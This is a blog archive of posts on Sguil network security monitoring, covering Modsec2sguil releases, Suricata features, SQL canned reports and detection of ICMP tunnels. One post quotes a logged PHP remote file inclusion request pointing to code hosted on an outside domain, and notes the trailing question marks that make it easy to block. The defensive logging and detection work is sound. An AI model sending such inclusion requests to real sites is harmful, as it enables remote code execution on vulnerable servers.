Sguil on Inliniac

Disabling Threading in Tcl8.5 in Debian

Mon, 30 Dec 2013 13:22:57 +0000

I’ve been spending the holidays to upgrade some of my own servers. One of them is the Sguil server I use. Until now it ran Debian Squeeze. On Debian Squeeze you could use tcl8.3, which has threading disabled. For Sguil tcl threading needs to be disabled:

ERROR: This version of tcl was compile with threading enabled. Sguil is NOT compatible with threading.

This is a compile time option in TCL, and the Debian Wheezy packages have it enabled by default. Here are the steps to create your own tcl deb with threading disabled:

Closing in on Suricata 1.4

Thu, 29 Nov 2012 16:50:15 +0000

I just made Suricata 1.4rc1 available with some pretty exciting features: unix socket mode and IP reputation.

Unix socket

First of all, Eric Leblond’s work on the Unix socket was merged. The unix socket work consists of two parts. The unix socket protocol implementation and a new runmode.

The protocol implementation is based on JSON messages over unix socket. Eric will be fully documenting it soon. Currently the commands are limited to shutting down and getting some basic stats. This part isn’t very exciting yet, but the groundwork for many future extensions has been laid.

Upgrading Sguil 0.7.0 to 0.8.0 from CVS

Fri, 17 Jun 2011 07:15:14 +0000

Sguil 0.8.0 was recently released, so it was time for an upgrade. Since I remembered the last major upgrade to be quite a bit of work I wasn’t looking forward to the new upgrade. However, to my surprise it was a breeze. Here is what I did.

On my Sguild server called “owl” – I’d like to think it’s very wise – I first went to my sguil directory, where the CVS checkout lives. There I did a “cvs up”. Next it was time to upgrade the database:

Extracting bad url's from ModSecurity events in Sguil

Wed, 14 Jan 2009 23:53:08 +0000

Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:

GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1

Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I’m doing that for a long time now, never seen a single false positive. The rule looks like this:

SidReporter beta2 released

Thu, 21 Aug 2008 15:08:42 +0000

A little over a week ago the second beta of the SidReporter from Emerging Threats was released (see http://www.emergingthreats.net/content/view/95/1/). I’ve been working with Matt Jonkman to setup this new project at Emerging Threats, mostly in writing the reporter scripts. I think it’s an exciting new project that could provide the community with great information. As Matt wrote on the initial announcement:

“As mentioned a few weeks ago, we’ve been working to bring out tool to anonymously report IDS/IPS hits. Similar to DShield’s firewall log reporting, we believe we can make some incredible data inferences with this information, as well as help improve the quality of our signatures while giving us all feedback to tune our rulesets.

Update to Modsec2sguil

Wed, 26 Mar 2008 12:57:13 +0000

Yesterday the much anticipated Sguil 0.7.0 final was released, as was announced here. I’ve updated Modsec2sguil to support it. Next to this Ryan Cummings sent me a patch for supporting ModSecurity 2.5. So that is included as well. I haven’t given it much testing yet, but works on my boxes.

Get the new release here: http://www.inliniac.net/modsec2sguil/

Thank you Ryan for your contribution!

Deactivating a group of sensors in Sguil 0.7.0-CVS

Wed, 14 Nov 2007 20:25:20 +0000

Recently a site I was using for my Vuurmuur project became unavailable to me. I had two sensors in that site, one Modsec2sguil sensor and a Snort sensor. Since it became unavailable to me, the sensors were all offline and will stay that way. So I wanted to hide them in Sguil, including the net_name group they belonged to, called ‘utrecht’.

Doing this turned out to be quite simple. The sensors have their own table in the database and one of the fields for a sensor is called ‘active’. I figured deactivating the sensors would do it. Deactivating all sensors from the net_name group ‘utrecht’ is done like this:

Sguil 0.7.0 CVS client on HeX 1.0.1

Thu, 01 Nov 2007 10:25:43 +0000

The last few days I’ve been playing with the HeX live-cd. It boots fine on my Lenovo T60 laptop. So after about a minute a nice graphical interface awaits me. I really love the artwork of this project.

There are many security tools installed, including the Sguil client. This is the 0.6.1 version however. As I have written before, I’m running 0.7.0 CVS here, so I needed the 0.7.0 CVS client. Luckily, it’s easy to install.

Sguil 0.7-CVS client on Ubuntu Gutsy

Tue, 30 Oct 2007 16:11:29 +0000

Last week I installed Ubuntu Gutsy on my laptop. I did a clean install, which went fine. Of course, I needed the Sguil client on it as well. Gutsy has all the required libraries in it’s repositories. Install the following packages:

tcl8.4 tclx8.4 tcllib tk8.4 iwidgets4

Checking out the Sguil client is easy (make sure you have ‘cvs’ installed):

cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil login cvs -d:pserver:anonymous@sguil.cvs.sourceforge.net:/cvsroot/sguil co sguil

After this the client runs fine on my system.

Friendly pcap parsing

Mon, 08 Oct 2007 22:47:28 +0000

Over at his weblog node5, William Metcalf has written about a nice script he created for automagically extracting full content data for certain ip’s and ip ranges from large amounts of pcap data. It will also create some nice output for the data. Check out his post at node5 and the script here at bleedingthreats. Great to see you blogging Will! :)

Follow up on Sguil securtiy

Fri, 24 Aug 2007 16:26:47 +0000

In the discussion about my post about Sguil security there have been a number of ideas and general thoughts. I’d like to write about them here to we can further discuss them. There seems to be consensus on that when a sensors is rooted, there is nothing we can do to prevent injection of bogus data as long as it isn’t malformed.

Having the agent authenticate itself is a solution, but it relies on the agent credentials to remain secret. So when a webserver is rooted the attacker will have access to the credentials as they will be stored on the webserver itself. So this approach does provide an extra layer of defense but local roots aren’t uncommon, so it remains risky. It may still be worth the effort though.

Thoughts on Sguil security

Thu, 23 Aug 2007 22:25:26 +0000

Sguil is build using a server and sensors. Traditionally the sensors are passive monitoring agents running Snort and a few other tools. Best practice was (and still is) to separate the management network of these sensors and server from the monitored network(s). This way it would be fairly hard for an attacker to get a shot at the Sguil server.

Sguil of course, would be a extremely interesting target for hackers. It contains so much info about the monitored network. Also, it has realtime access to all network traffic. A hacker may also be interested in shutting Sguil down to avoid detection.

Using Modsec2sguil for HTTP transaction logging revisited

Wed, 22 Aug 2007 20:05:34 +0000

Recently I wrote about the idea to log all HTTP transactions into Sguil using my Modsec2sguil agent. I’ve implemented this in the current 0.8-dev5 release and it works very well. All events go into Sguil smoothly and I’ve not experienced slowdowns on the webserver. I’ve been running it for almost a week now, like to share the first experiences here.

I find it to be quite useful. When receiving an alert, it is perhaps more interesting to see what else was done from that ipaddress than to see what was blocked (unless you are suspecting a false positive of course). One area I find to be useful is when I’m creating rules against comment spam on this blog. By seeing all properties of a spam message I can create better rules. For example on broken user-agents or weird codes inserted into the comment field of Wordpress.

Using Modsec2sguil for HTTP transaction logging

Wed, 15 Aug 2007 13:05:08 +0000

Modsec2sguil is currently configured to send alerts to Sguil. ModSecurity can be configured to log any event or transaction, including 200 OK, 302 Redirect, etc. Modsec2sguil distinguishes between alerts and other events by only processing HTTP codes of 400 and higher. Since 0.8-dev2 there is a configuration directive to prevent certain codes, such as 404, from being treated as an alert.

Now I have the following idea. Since ModSecurity can log all events with details of request headers, response headers and POST message body, it may be interesting to just send all these events to Sguil. They should not be appearing as alerts, but having them in the database can perhaps be interesting. I know using flow data and full packet captures the same data can be accessed, but having it in the database makes querying it a lot easier and longer available.

First Modsec2sguil release for Sguil 0.7-CVS

Mon, 13 Aug 2007 22:00:29 +0000

I just uploaded a new version of Modsec2sguil. I’ve been working on it the last weeks to get it updated to Sguil 0.7. The scripts are changed all over the place. This is because in the 0.7 framework, my scripts would no longer be a replacement for Barnyard only talking to the sensor_agent on the localhost, instead now it would become a full agent talking to the Sguil server directly.

Migrating a Sguil server from 0.6.1 to 0.7.0 (CVS)

Wed, 04 Jul 2007 21:10:36 +0000

Today I finally restored my server that used to host my blog, mail server and sguil server. The sguil server was still at 0.6.1 so this was a good time to see how a migration procedure would work (the earlier 0.7.0 test were done with a newly setup server). I haven’t been able to find documentation about this procedure, but it looks very straightforward, so I think I did it all right.

Update on Sguil 0.7-CVS client on Ubuntu Feisty

Wed, 04 Jul 2007 17:10:56 +0000

A short time ago I wrote about how the Sguil 0.7-CVS client can be installed on Ubuntu Feisty. Since then there has been a change to Sguil that changes the requirements a bit. Because of this the standard tcllib package in Feisty is no longer usable. It provides tcllib 1.8 while Sguil now needs 1.9. Luckily, we can use the tcllib package from the upcoming Ubuntu release called ‘Gutsy’. It can be found here: http://packages.ubuntu.com/gutsy/interpreters/tcllib

Sguil 0.7-CVS client on Ubuntu Feisty

Tue, 19 Jun 2007 09:49:08 +0000

I just got a new workstation that I’m setting up today with Ubuntu Feisty 7.04. When setting up the Sguil client from CVS I needed to install the following packages (including dependencies, but apt-get takes care of that):

tcl8.4 tclx8.4 tcllib tk8.4 iwidgets4

After this it ran but looked horrible because of some ugly font that was used. I found that for my use the following fonts look good:

Sguil 0.7 CVS installation on Debian Etch

Tue, 12 Jun 2007 21:58:51 +0000

Sguil 0.7 is getting shape quite nicely. One of the most interesting new features is the splitting up of different types of agents and the option to create ’net groups’. This are groups of agents that Sguil considers part of the same network. You can use this to spread the agents over multiple servers, but still use it from Sguil as if it was one single sensor. For example, this way you can easily create a Snort sensor and a separate full content logging capture server. When you request the full content for a Snort event in Sguil, it will know that it needs to request the packet data from the capture server. This way you can also have multiple Snort agents without the need for capturing the same sancp and full content data over and over again.

Modsec2sguil 0.7 released

Sun, 18 Mar 2007 10:41:28 +0000

I’ve just released version 0.7 of Modsec2sguil, the set of perl scripts to feed ModSecurity alerts to the Sguil NSM system. The main change of this release is that it adds support for alerts produced by ModSecurity 2.x, while 1.9.x remains to be supported. Next to this the conversion between ModSecurity’s severity and Snort’s priority was fixed, so alerts should show up in the right pane in Sguil again.

Please give this release a try and let me know how it works for you!

Migrating from ModSecurity 1.9.4 to 2.0.4

Sat, 20 Jan 2007 10:34:05 +0000

ModSecurity 2 has been out for a while now, and although I have played with it some, I never found some time to upgrade my own servers. The upgrading generally went quite smooth, even though ModSecurity 2 changed quite a bit.

First of all there are now 5 phases where you can filter. Actually, one of them only applies to the logging, so you can filter in 4 phases. The phases are headers and body for both request and response traffic. Filtering on specific URIs can be done in phase 1 (request headers), while inspecting a POST payload requires phase 2 (request body).

Setting up networking in Qemu for using OpenNSM

Mon, 13 Nov 2006 09:22:13 +0000

Geek00L has created a OpenBSD 4.0 based QEMU image called OpenNSM which I decided to give a try. Getting the networking part to work with my Linux host was a bit of a puzzle, so i’m writing it down here. Most of the steps were taken from the unofficial qemu wiki page here, but not all of them were necesarry.

First of all, I had to use the QEMU version 0.8.2 from the QEMU website, because the 0.8.0 version from my Ubuntu Dapper workstation didn’t work. With the latter version the OpenBSD bootup would just hang at the message ‘clock: Unknown CMOS layout’.

Modsec2sguil 0.6 released

Fri, 06 Oct 2006 22:01:16 +0000

I’ve just release a new version of modsec2sguil, the set of Perl scripts that feeds ModSecurity alerts to Sguil. No new features, but many changes ‘under the hood’. I’ve created two modules, ModsecAlert and SguilBarnyardComms. These can be used in a Object Oriented way to parse ModSecurity events and communitcate a Sguil sensor agent.

It would be interesting to see if the SguilBarnyardComms module could be connected with the work of Jason Brevnik of SourceFire, who wrote a Barnyard replacement in Perl. If I have some spare time, I will have a look at this.

First (beta) release of modsec2sguil 0.5

Wed, 20 Sep 2006 20:26:03 +0000

I have been writing about getting ModSecurity alerts into Sguil before. Today I can finally release a first public version. It’s pretty crude, but it WorksForMe(tm).

The release can be found here. If you are interested, please try it. There is some documentation in the archive.

Sguil: renaming a sensor

Fri, 08 Sep 2006 23:09:17 +0000

This might be a no-brainer for some, but today I wanted to rename a sensor in Sguil, and decided to write the steps down.

Preparation

backup the db
stop sancp on the sensor
stop barnyard on the sensor
stop sensor_agent on the sensor
stop snort on the sensor
stop log_packets on the sensor
stop sguild on the server

Steps on the Sguil server

Update the sensor name in the database.

Sguil: adding support for ModSecurity alerts, continued

Thu, 07 Sep 2006 22:19:34 +0000

After the successful test with the Perl script to add ModSecurity alerts to Sguil, I have been working on a more robust implementation, also in Perl. Let me first describe the basic setup. The setup works with two scripts. The first places links to event files into a special queue directory. The second reads the links from that directory, parses them and sends the alerts among these events to Sguil. After that, the links are removed.

Sguil: adding support for ModSecurity alerts

Wed, 30 Aug 2006 20:14:45 +0000

I’m a huge fan of both Sguil and ModSecurity, but sadly the alerts generated by ModSecurity can’t show up in Sguil… or… can they? Well, if it all works out, soon they can!

Today I have hacked together a perl script that emulates barnyard for ModSecurity. It very much in a proof-of-concept phase, but it somewhat works already, at least good enough so i can show this screenshot.

Nice huh? It is not ready for release yet, but when it is i’ll announce it here. I plan to release it under the GPL. Sguil author Bamm Visscher told me that the next release of Sguil will have support for having barnyard and PADS on the same sensor. By then, i hope that ModSecurity can be added to that list! :-)

Sguil: detecting ICMP tunnels, continued

Tue, 29 Aug 2006 12:29:45 +0000

A few days ago i wrote about detecting ICMP tunnels. I came to the conclusion that for the two tunnels i tried the properties to detect on were:

Non-standard average packet size. E.g. 81.81 bytes for the first connection is non-standard.
Number of bytes in both directions are unequal.
Average packet size in both directions is unequal.

I believe the third is the most important, because it must mean that 1 is also true and 2 is very likely to be true. If the average packet size is unequal in both directions, one of them should be non-standard. So far i have only seen echo-request and echo-reply being equal in size for pings. Unequal average packet sizes with exactly the same amount of data transfered is very unlikely, so i have ignored that for now.

Sguil: using advanced queries to get more info on Snort events

Mon, 28 Aug 2006 21:21:54 +0000

Today, David Bianco showed me a way of creating SQL queries that I didn’t even know was possible. This is a technique with which it is possible to query the payload of Snort events in the Sguil database. These payloads are stored by Snort when it alerts and is the payload the actual rule triggered on. David showed a nice example of retrieving url’s for PHP url inclusion attacks.

I have written before about my usage of Mod_Security. I let Mod_Security respond with a 403 Forbidden message. Sadly, the alert generated by Mod_Security can not be displayed in Sguil. As somewhat of a replacement for that, I let Snort alert on the 403 Forbidden messages, so i can see in Sguil that Mod_Security blocked something. The disadvantage of this is that the 403 alert in itself does not contain much info. The sheer number of 403’s makes inspecting every single one with requesting a transcript a bit to much work.

Sguil: detecting ICMP tunnels

Fri, 25 Aug 2006 18:25:14 +0000

My earlier post about detecting ICMP anomolies was based on dry theory combined with experimenting with the ping command. The last couple of days I have been playing with real ICMP tunnels, to see how detection of those would work. This was easier said than done. Sure, running PingTunnel or itun between two hosts in my LAN worked fine. However, being an inline guy, i have Sancp looking at traffic passing my firewall only. And getting the ICMP tunnels to pass the firewall was the real trick. I won’t bore you with that now, because i intend to look at counter measures later, so i’ll handle that then. For now I will just assume that these ping tunnels will not be blocked by the firewall.

Sguil: detecting ICMP anomolies

Fri, 18 Aug 2006 21:40:14 +0000

Recently Websense discovered malware that caused quite a lot of media attention, because it used ICMP to send personal data out of the victims pc or network. In many networks, outgoing ICMP is unrestricted because it can aid in solving connectivity and routing problems. While (partially) blocking outgoing ICMP would certainly solve this problem, not everone will be willing to do so. Note however that the idea of using ICMP as a covert channel is hardly new.

Yesterday I wrote about creating custom Sancp queries and adding them to Sguil as canned reports. Today i tried to create a query that can be used to detect anomolies in ICMP traffic leaving your network. Like yesterday, i did this in the form of a ‘canned report’. One limitation is that there seems to be no way to get any information on exact ICMP codes and types.

I tried to create a query that would do the following. I assumed that there are at least two ways the traffic can stand out. Either by it’s volume, or by non-default packet sizes. Normally ping uses a fixed packet size of 64 bytes on my Linux system, Windows 2000 defaults to 32 bytes. If the packet size is not what you would expect, something fishy might be going on. So the query tries to find the execptional cases in this respect.

Volume is another factor. To tranfser substantial amounts of data through ICMP, the volume of the packets will need to be quite high as well. Note however that Linux’ ping utility for example pings until you tell it to stop, and it happened to me before that i accidently left it running an entire night, so a large volume doesn’t have to mean there is something wrong. The target IP is also very interesting. If it is IP belonging to Google there is a big chance that it is just a test. In the example below most volume is to 194.109.21.51 which is the server in my ISP’s network that can be reached under ‘ping.xs4all.nl’.

In this report you can see that 192.168.1.2 pinged 145.97.193.148 with an average packet size of 1480 bytes, which is certainly not normal. It transfered 0.08MB to this IP. Another amount of 2.24MB was transfered to the IP 194.109.21.51, with a average packet size of 64.33 bytes. This is weird because it is not exactly 64 bytes, what I would expect. This can be explained by me running a default ping for a long time and after that doing a few tests with larger sizes.

Sguil: creating custom reports

Thu, 17 Aug 2006 18:52:07 +0000

In the Sguil NSM system, Sancp plays a vital role. Sancp records session data, in which all connections are recorded. For all connections (and pseudo connections, think udp, icmp), Sancp records the number of bytes transfered, number of packets, start and end time, etc. This is very much useful information, of which Sguil only makes a subset accessable. Because the information is stored in a MySQL database, nothing prevents you from querying the database manually, which is what i did. However, David Bianco suggested that i could also add them as ‘canned reports’ to Sguil, which i did.

At this stage i am mostly interested in the information from Sancp about the traffic volume. Which host(s) use the most bandwidth? Questions like this. Below i explain one of the ‘canned reports’ i created.

This is the output of the query below. What it shows is that 192.168.1.2 in my lan downloaded 367MB from 145.97.193.148, and that it did this via http (protocol 6 is tcp, port is 80). Let’s have a look at the query.

TOPTENWAN2LAN_SRC_DST_SER||Top b/w per serv. from WAN to LAN (downloads), flow from WAN-IPs to LAN-IPs, volume in MB||query||select sum(dst_bytes)/1048576 as my_dst_bytes, INET_NTOA(dst_ip), INET_NTOA(src_ip), ip_proto, dst_port from sancp INNER JOIN sensor ON sancp.sid=sensor.sid WHERE start_time > %%STARTTIME%% AND end_time 0 AND %%SENSORS%% and ((src_ip between INET_ATON(“192.168.0.0”) and INET_ATON(“192.168.255.255”)) or (src_ip between INET_ATON(“10.0.0.0”) and INET_ATON(“10.255.255.255”)) or (src_ip between INET_ATON(“172.16.0.0”) and INET_ATON(“172.31.255.255”))) and ((dst_ip not between INET_ATON(“192.168.0.0”) and INET_ATON(“192.168.255.255”)) and (dst_ip not between INET_ATON(“10.0.0.0”) and INET_ATON(“10.255.255.255”)) and (dst_ip not between INET_ATON(“172.16.0.0”) and INET_ATON(“172.31.255.255”))) GROUP BY src_ip,dst_ip,ip_proto,dst_port ORDER BY my_dst_bytes DESC LIMIT 10||5||

Copy-paste this into your /etc/sguild/sguild.reports and restart sguild. It should be available in the Sensor Reports window. The parts between percent signs are Sguil variables. The double pipes are separators between different sections of the line. The line starts with a sort of internal name for Sguil. What follows is the description as it will be show in the report selection screen and in the report itself. Next it is indicated that his is a query. After that the query itself. After the query in the last field it is indicated how many columns of data Sguil can expect from MySQL.

Now the query. First, i select dst_bytes, dst_ip and src_ip, ip_proto and dst_port. The dst_bytes field contains the number of bytes flowing from dst_ip to src_ip. Because we use group later, we SUM dst_bytes. And because it is in bytes, we divide it by 1024*1024(=1048576) so the result will be megabytes. The result is stored in my_dst_bytes. We then make sure that the src_ip is in a private ip range and that dst_ip is not in a private ip-range. Then the grouping is done, followed by the ordering by my_dst_bytes. Easy huh!

Naturally, this only works for networks that actually use private ip-ranges, but it should be easy to adapt if you use something else. Below, i have added another seven of these reports.

Sguil: full content logging in combination with Snort_inline, revisited again

Wed, 09 Aug 2006 23:54:33 +0000

Note to self: never assume something works, instead, test it.

Yesterday there was some discussion in the #snort channel over whether or not passing multiple interface to snort works or not. As a reminder, some time ago i noted that passing two interfaces to snort like this: ‘snort -i eth0:eth1’ worked just fine. However, common mentioned in irc that he could not imagine it to be working. Determined to proof him wrong, i decided to run a few test. On my gateway, i ran ‘snort -v -i eth0:eth1 ip proto 1’. This should print all ICMP packets to the screen for both interfaces. The first clue that something wasn’t right was this message:

Sguil: full content logging in combination with Snort_inline, revisited

Sun, 30 Jul 2006 17:02:51 +0000

A few days ago i wrote about some challenges that my Snort_inline presented. Especially the full content logging wasn’t working quite as i would have liked. Logging on pseudo device ‘any’ didn’t work right because then the traffic that was NAT-ted was both recorded before NAT and after NAT. The solution I (with help of #snort-gui) came up with was using ‘-i any’ anyway, but exclude my public ip using a BPF filter. Later i saw Joel Esler write the solution in a unrelated problem to someone else. Sometimes solutions can be so simple!

Sguil: sensor install gotcha: sancp

Sat, 29 Jul 2006 11:25:42 +0000

Today I installed a new sensor for Sguil. It went much better than before, but still i needed #snort-gui’s help again. The issue was that Sancp stats were not picked up by the sensor.

It turns out that the default initscript for sancp uses an old and depreciated setting that tells sancp to log into the /snort_data/sensorname/sancp/today directory. The sensor expects it in /snort_data/sensorname/sancp. After changing that in the /etc/default/sancp file it worked like a charm.

Sguil: full content logging in combination with Snort_inline

Wed, 26 Jul 2006 19:44:06 +0000

Just spend some time trying to get the transcripts part of Sguil working with my Snort_inline sensor. Without an obvious clue it returned no data for every alert that was received. After much trial and error, and especially much help by Bamm Visscher on IRC, i noticed that i recorded the full packet data from my ppp0 device. Then i remembered issues i had before with that, namely that the logging occurs after NAT. Snort_inline however, gets the packets from the system before NAT. That results in a mismatch causing the sensor not to be able to provide the transcript requested. Changing the interface to record the full packets from to eth0 solved the problem!